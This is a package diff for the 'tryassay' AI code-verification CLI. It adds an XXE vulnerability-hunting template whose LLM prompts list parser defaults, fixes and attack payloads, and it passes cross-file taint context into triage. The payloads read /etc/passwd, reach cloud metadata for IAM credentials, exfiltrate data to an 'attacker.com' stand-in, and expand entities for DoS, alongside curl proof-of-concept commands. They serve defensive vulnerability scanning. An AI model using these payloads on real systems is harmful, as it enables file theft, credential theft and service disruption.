tryassay 0.33.0 → 0.33.2

package/dist/hunt/templates/xxe.js

@@ -0,0 +1,187 @@
+export const xxe = {
+    id: 'xxe',
+    name: 'XML External Entity Injection',
+    cwe: 'CWE-611',
+    filePatterns: ['xml', 'parse', 'document', 'sax', 'dom', 'soap', 'svg', 'xslt', 'xpath', 'rss', 'feed', 'sitemap'],
+    negativePatterns: [],
+    triagePrompt: `You are a security researcher hunting for XML External Entity (XXE) injection vulnerabilities.
+
+Analyze the code for XML parsers that process untrusted input without disabling external entity resolution. Focus on:
+
+1. Parser configuration — are external entities and DTD processing disabled?
+2. User input reaching XML parser — does the application parse user-uploaded XML, SOAP requests, SVG files, RSS feeds, or SAML assertions?
+3. Library defaults — many XML libraries enable external entities BY DEFAULT
+
+LANGUAGE-SPECIFIC DANGEROUS DEFAULTS:
+Python:
+- xml.etree.ElementTree: SAFE by default (no external entity support)
+- lxml.etree.parse(): VULNERABLE by default (resolves external entities)
+  Fix: parser = etree.XMLParser(resolve_entities=False, no_network=True)
+- xml.sax: VULNERABLE by default
+  Fix: parser.setFeature(xml.sax.handler.feature_external_ges, False)
+
+Java:
+- DocumentBuilderFactory: VULNERABLE by default
+  Fix: factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
+- SAXParserFactory: VULNERABLE by default
+- XMLInputFactory (StAX): VULNERABLE by default
+  Fix: factory.setProperty(XMLInputFactory.SUPPORT_DTD, false)
+- Unmarshaller (JAXB): depends on underlying parser
+
+JavaScript/Node.js:
+- libxmljs: VULNERABLE by default (noent option)
+  Fix: libxmljs.parseXmlString(xml, { noent: false, nonet: true })
+- xml2js: SAFE by default (doesn't process entities)
+- fast-xml-parser: SAFE by default
+- DOMParser (browser): SAFE (browsers block external entities)
+
+PHP:
+- simplexml_load_string(): VULNERABLE if libxml < 2.9 (entities enabled by default)
+  Fix: libxml_disable_entity_loader(true) (deprecated in PHP 8.0+)
+- DOMDocument::loadXML(): VULNERABLE with LIBXML_NOENT flag
+  Fix: $doc->loadXML($xml, LIBXML_NOENT should NOT be used)
+
+.NET:
+- XmlDocument.Load(): VULNERABLE in older .NET (XmlResolver enabled)
+  Fix: doc.XmlResolver = null
+- XmlReader: SAFE by default in .NET 4.5.2+
+
+ATTACK PAYLOADS:
+File read:
+\`\`\`xml
+<?xml version="1.0"?>
+<!DOCTYPE foo [
+  <!ENTITY xxe SYSTEM "file:///etc/passwd">
+]>
+<data>&xxe;</data>
+\`\`\`
+
+SSRF:
+\`\`\`xml
+<!DOCTYPE foo [
+  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
+]>
+<data>&xxe;</data>
+\`\`\`
+
+Blind XXE (out-of-band):
+\`\`\`xml
+<!DOCTYPE foo [
+  <!ENTITY % ext SYSTEM "http://attacker.com/evil.dtd">
+  %ext;
+]>
+\`\`\`
+
+Billion laughs (DoS):
+\`\`\`xml
+<!DOCTYPE lolz [
+  <!ENTITY lol "lol">
+  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
+  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
+]>
+<data>&lol3;</data>
+\`\`\`
+
+ENTRY POINTS TO CHECK:
+- File upload accepting XML, SVG, DOCX, XLSX (all are XML-based)
+- SOAP web service endpoints
+- SAML SSO response parsing
+- RSS/Atom feed importers
+- Sitemap parsers
+- Configuration file upload
+
+RELEVANT SPECIFICATIONS:
+- CWE-611: Improper Restriction of XML External Entity Reference
+- OWASP Top 10 2021 A05: Security Misconfiguration
+- XML 1.0 Specification Section 4.2.2: External Entities
+
+For each finding, cite the EXACT parser instantiation, whether external entities are disabled, and what user input reaches the parser.`,
+    deepDivePrompt: `You are an expert security researcher writing a bug bounty report for an XXE vulnerability.
+
+Given the hypothesis below, verify whether the vulnerability is real and exploitable.
+
+VERIFICATION STEPS:
+1. Confirm the XML parser is configured to resolve external entities
+   - Check parser options/features at instantiation time
+   - Check library version (some fixed defaults in newer versions)
+2. Confirm user-controlled input reaches the parser
+   - File upload? API body? SOAP request? SVG processing?
+3. Determine if the response reflects entity content (direct XXE) or if blind/OOB is needed
+4. Check what the server process can access
+   - File system permissions of the application user
+   - Network access (can it reach internal services/metadata endpoints?)
+
+ATTACK SCENARIOS:
+1. Direct XXE with file read:
+   - Inject <!ENTITY xxe SYSTEM "file:///etc/passwd"> → entity content reflected in response
+   - Escalate: read application config files, database credentials, private keys
+
+2. Blind XXE with out-of-band exfiltration:
+   - No reflection in response? Use parameter entities to send data to attacker server
+   - \`<!ENTITY % file SYSTEM "file:///etc/passwd">\`
+   - \`<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">\`
+
+3. SSRF via XXE:
+   - <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
+   - Port scan internal network: <!ENTITY xxe SYSTEM "http://192.168.1.1:8080/">
+
+4. Denial of Service:
+   - Billion laughs: exponential entity expansion
+   - External entity pointing to /dev/urandom or infinite stream
+
+PROOF-OF-CONCEPT:
+\`\`\`bash
+# Direct XXE file read
+curl -X POST /api/xml-import \\
+  -H "Content-Type: application/xml" \\
+  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root><data>&xxe;</data></root>'
+
+# XXE via SVG upload
+cat > xxe.svg << 'EOF'
+<?xml version="1.0"?>
+<!DOCTYPE svg [
+  <!ENTITY xxe SYSTEM "file:///etc/hostname">
+]>
+<svg xmlns="http://www.w3.org/2000/svg">
+  <text>&xxe;</text>
+</svg>
+EOF
+curl -X POST /api/upload -F "file=@xxe.svg;type=image/svg+xml"
+
+# XXE via DOCX (Office Open XML)
+# Replace [Content_Types].xml or document.xml inside the ZIP with XXE payload
+\`\`\`
+
+SEVERITY ASSESSMENT:
+- Critical: File read of sensitive data (credentials, private keys, application config)
+- Critical: SSRF to cloud metadata endpoint yielding IAM credentials
+- High: Blind XXE with confirmed out-of-band data exfiltration
+- High: SSRF to internal services
+- Medium: DoS via entity expansion
+- Medium: Confirmed XXE but limited to non-sensitive files
+- Low: XXE in non-production/internal-only endpoint
+
+RELEVANT SPECIFICATIONS:
+- CWE-611: Improper Restriction of XML External Entity Reference
+- XML 1.0 Spec Section 4.2.2: External Entities
+- OWASP XXE Prevention Cheat Sheet
+
+Cite exact file paths, line numbers, the parser configuration, and the input vector.`,
+    knownBypasses: [
+        'SVG file upload: SVGs are XML and can contain external entity declarations',
+        'DOCX/XLSX upload: Office files are ZIP archives containing XML that may be parsed',
+        'Parameter entities for blind/OOB exfiltration when direct reflection is blocked',
+        'UTF-7/UTF-16 encoding to bypass WAF XML inspection rules',
+        'XInclude injection when DOCTYPE is blocked: <xi:include href="file:///etc/passwd"/>',
+        'SOAP body injection: XXE in SOAP XML request body',
+        'Billion laughs variant: quadratic blowup with large entities instead of exponential',
+    ],
+    specReferences: [
+        'CWE-611 (Improper Restriction of XML External Entity Reference)',
+        'OWASP Top 10 2021 A05 (Security Misconfiguration)',
+        'XML 1.0 Specification Section 4.2.2 (External Entities)',
+        'OWASP XXE Prevention Cheat Sheet',
+    ],
+    severityRange: ['medium', 'critical'],
+};
+//# sourceMappingURL=xxe.js.map

package/dist/hunt/templates/xxe.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"xxe.js","sourceRoot":"","sources":["../../../src/hunt/templates/xxe.ts"],"names":[],"mappings":"AAEA,MAAM,CAAC,MAAM,GAAG,GAA0B;IACxC,EAAE,EAAE,KAAK;IACT,IAAI,EAAE,+BAA+B;IACrC,GAAG,EAAE,SAAS;IACd,YAAY,EAAE,CAAC,KAAK,EAAE,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,KAAK,EAAE,MAAM,EAAE,KAAK,EAAE,MAAM,EAAE,OAAO,EAAE,KAAK,EAAE,MAAM,EAAE,SAAS,CAAC;IAClH,gBAAgB,EAAE,EAAE;IACpB,YAAY,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;uIA2FuH;IAErI,cAAc,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;qFAsEmE;IAEnF,aAAa,EAAE;QACb,4EAA4E;QAC5E,mFAAmF;QACnF,iFAAiF;QACjF,0DAA0D;QAC1D,qFAAqF;QACrF,mDAAmD;QACnD,qFAAqF;KACtF;IACD,cAAc,EAAE;QACd,iEAAiE;QACjE,mDAAmD;QACnD,yDAAyD;QACzD,kCAAkC;KACnC;IACD,aAAa,EAAE,CAAC,QAAQ,EAAE,UAAU,CAAC;CACtC,CAAC"}

package/dist/hunt/triage.d.ts

@@ -1,8 +1,8 @@
 import type { VulnerabilityTemplate, HuntHypothesis } from '../types.js';
 import type { DiscoveredFile } from './discovery.js';
 import type { LLMProvider } from '../runtime/types.js';
-export declare function buildTriagePrompt(template: VulnerabilityTemplate, file: DiscoveredFile): {
+export declare function buildTriagePrompt(template: VulnerabilityTemplate, file: DiscoveredFile, taintContext?: string): {
     systemPrompt: string;
     userPrompt: string;
 };
-export declare function runTriage(file: DiscoveredFile, template: VulnerabilityTemplate, hypothesisId: number, provider: LLMProvider): Promise<HuntHypothesis | null>;
+export declare function runTriage(file: DiscoveredFile, template: VulnerabilityTemplate, hypothesisId: number, provider: LLMProvider, taintContext?: string): Promise<HuntHypothesis | null>;

package/dist/hunt/triage.js

@@ -1,5 +1,5 @@
 import { safeParseJSON } from './parse-utils.js';
-export function buildTriagePrompt(template, file) {
+export function buildTriagePrompt(template, file, taintContext) {
     const systemPrompt = `You are a security researcher analyzing code for exploitable vulnerabilities.
 
 VULNERABILITY CLASS: ${template.name}
@@ -37,11 +37,11 @@ ${context ? `CONTEXT:\n${context}\n` : ''}
 ${file.content}
 </analyzed-code>
 
-Is there a plausible ${template.name} vulnerability in this code?`;
+Is there a plausible ${template.name} vulnerability in this code?${taintContext ? `\n\nCROSS-FILE DATA FLOW:\n${taintContext}` : ''}`;
     return { systemPrompt, userPrompt };
 }
-export async function runTriage(file, template, hypothesisId, provider) {
-    const { systemPrompt, userPrompt } = buildTriagePrompt(template, file);
+export async function runTriage(file, template, hypothesisId, provider, taintContext) {
+    const { systemPrompt, userPrompt } = buildTriagePrompt(template, file, taintContext);
     try {
         const response = await provider.complete({
             model: 'claude-haiku-4-5-20251001',

package/dist/hunt/triage.js.map

@@ -1 +1 @@
-{"version":3,"file":"triage.js","sourceRoot":"","sources":["../../src/hunt/triage.ts"],"names":[],"mappings":"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"}
+{"version":3,"file":"triage.js","sourceRoot":"","sources":["../../src/hunt/triage.ts"],"names":[],"mappings":"AAGA,OAAO,EAAmB,aAAa,EAAE,MAAM,kBAAkB,CAAC;AAElE,MAAM,UAAU,iBAAiB,CAC/B,QAA+B,EAC/B,IAAoB,EACpB,YAAqB;IAErB,MAAM,YAAY,GAAG;;uBAEA,QAAQ,CAAC,IAAI;OAC7B,QAAQ,CAAC,GAAG;;EAEjB,QAAQ,CAAC,YAAY;;;EAGrB,QAAQ,CAAC,aAAa,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,CAAC,KAAK,CAAC,EAAE,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC;;;EAGpD,QAAQ,CAAC,cAAc,CAAC,GAAG,CAAC,CAAC,CAAC,EAAE,CAAC,KAAK,CAAC,EAAE,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC;;;;;;;;;;;;;;EAcrD,CAAC;IAED,MAAM,OAAO,GAAG;QACd,IAAI,CAAC,OAAO,CAAC,MAAM,CAAC,CAAC,CAAC,YAAY,IAAI,CAAC,OAAO,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC,CAAC,IAAI;QAClE,IAAI,CAAC,OAAO,CAAC,MAAM,CAAC,CAAC,CAAC,YAAY,IAAI,CAAC,OAAO,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC,CAAC,IAAI;QAClE,IAAI,CAAC,SAAS,CAAC,MAAM,CAAC,CAAC,CAAC,cAAc,IAAI,CAAC,SAAS,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE,CAAC,CAAC,CAAC,IAAI;KACzE,CAAC,MAAM,CAAC,OAAO,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;IAE7B,MAAM,UAAU,GAAG,SAAS,IAAI,CAAC,YAAY;EAC7C,OAAO,CAAC,CAAC,CAAC,aAAa,OAAO,IAAI,CAAC,CAAC,CAAC,EAAE;;EAEvC,IAAI,CAAC,OAAO;;;uBAGS,QAAQ,CAAC,IAAI,+BAA+B,YAAY,CAAC,CAAC,CAAC,8BAA8B,YAAY,EAAE,CAAC,CAAC,CAAC,EAAE,EAAE,CAAC;IAEpI,OAAO,EAAE,YAAY,EAAE,UAAU,EAAE,CAAC;AACtC,CAAC;AAED,MAAM,CAAC,KAAK,UAAU,SAAS,CAC7B,IAAoB,EACpB,QAA+B,EAC/B,YAAoB,EACpB,QAAqB,EACrB,YAAqB;IAErB,MAAM,EAAE,YAAY,EAAE,UAAU,EAAE,GAAG,iBAAiB,CAAC,QAAQ,EAAE,IAAI,EAAE,YAAY,CAAC,CAAC;IAErF,IAAI,CAAC;QACH,MAAM,QAAQ,GAAG,MAAM,QAAQ,CAAC,QAAQ,CAAC;YACvC,KAAK,EAAE,2BAA2B;YAClC,SAAS,EAAE,IAAI;YACf,YAAY;YACZ,UAAU;YACV,WAAW,EAAE,CAAC;SACf,CAAC,CAAC;QAEH,MAAM,MAAM,GAAG,aAAa,CAAC,QAAQ,CAAC,OAAO,CAAC,CAAC;QAC/C,IAAI,CAAC,MAAM,EAAE,CAAC;YACZ,OAAO,CAAC,KAAK,CAAC,kDAAkD,IAAI,CAAC,YAAY,MAAM,QAAQ,CAAC,EAAE,EAAE,CAAC,CAAC;YACtG,OAAO,IAAI,CAAC;QACd,CAAC;QAED,IAAI,CAAC,MAAM,CAAC,UAAU;YAAE,OAAO,IAAI,CAAC;QACpC,IAAI,CAAC,MAAM,CAAC,UAAU,IAAI,CAAC,MAAM,CAAC,OAAO;YAAE,OAAO,IAAI,CAAC;QAEvD,OAAO;YACL,EAAE,EAAE,YAAY;YAChB,UAAU,EAAE,QAAQ,CAAC,EAAE;YACvB,IAAI,EAAE,IAAI,CAAC,YAAY;YACvB,IAAI,EAAE,MAAM,CAAC,IAAI,IAAI,SAAS;YAC9B,UAAU,EAAE,MAAM,CAAC,UAAU;YAC7B,OAAO,EAAE,MAAM,CAAC,OAAO;YACvB,eAAe,EAAE,MAAM,CAAC,gBAAgB,IAAI,SAAS;YACrD,MAAM,EAAE,MAAM,CAAC,MAAM,IAAI,SAAS;SACnC,CAAC;IACJ,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,OAAO,CAAC,KAAK,CAAC,gCAAgC,IAAI,CAAC,YAAY,MAAM,QAAQ,CAAC,EAAE,KAAK,GAAG,EAAE,CAAC,CAAC;QAC5F,OAAO,IAAI,CAAC;IACd,CAAC;AACH,CAAC"}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "tryassay",
-  "version": "0.33.0",
+  "version": "0.33.2",
   "description": "AI code verification CLI — find bugs that tests miss, linters ignore, and code review overlooks",
   "type": "module",
   "main": "./dist/index.js",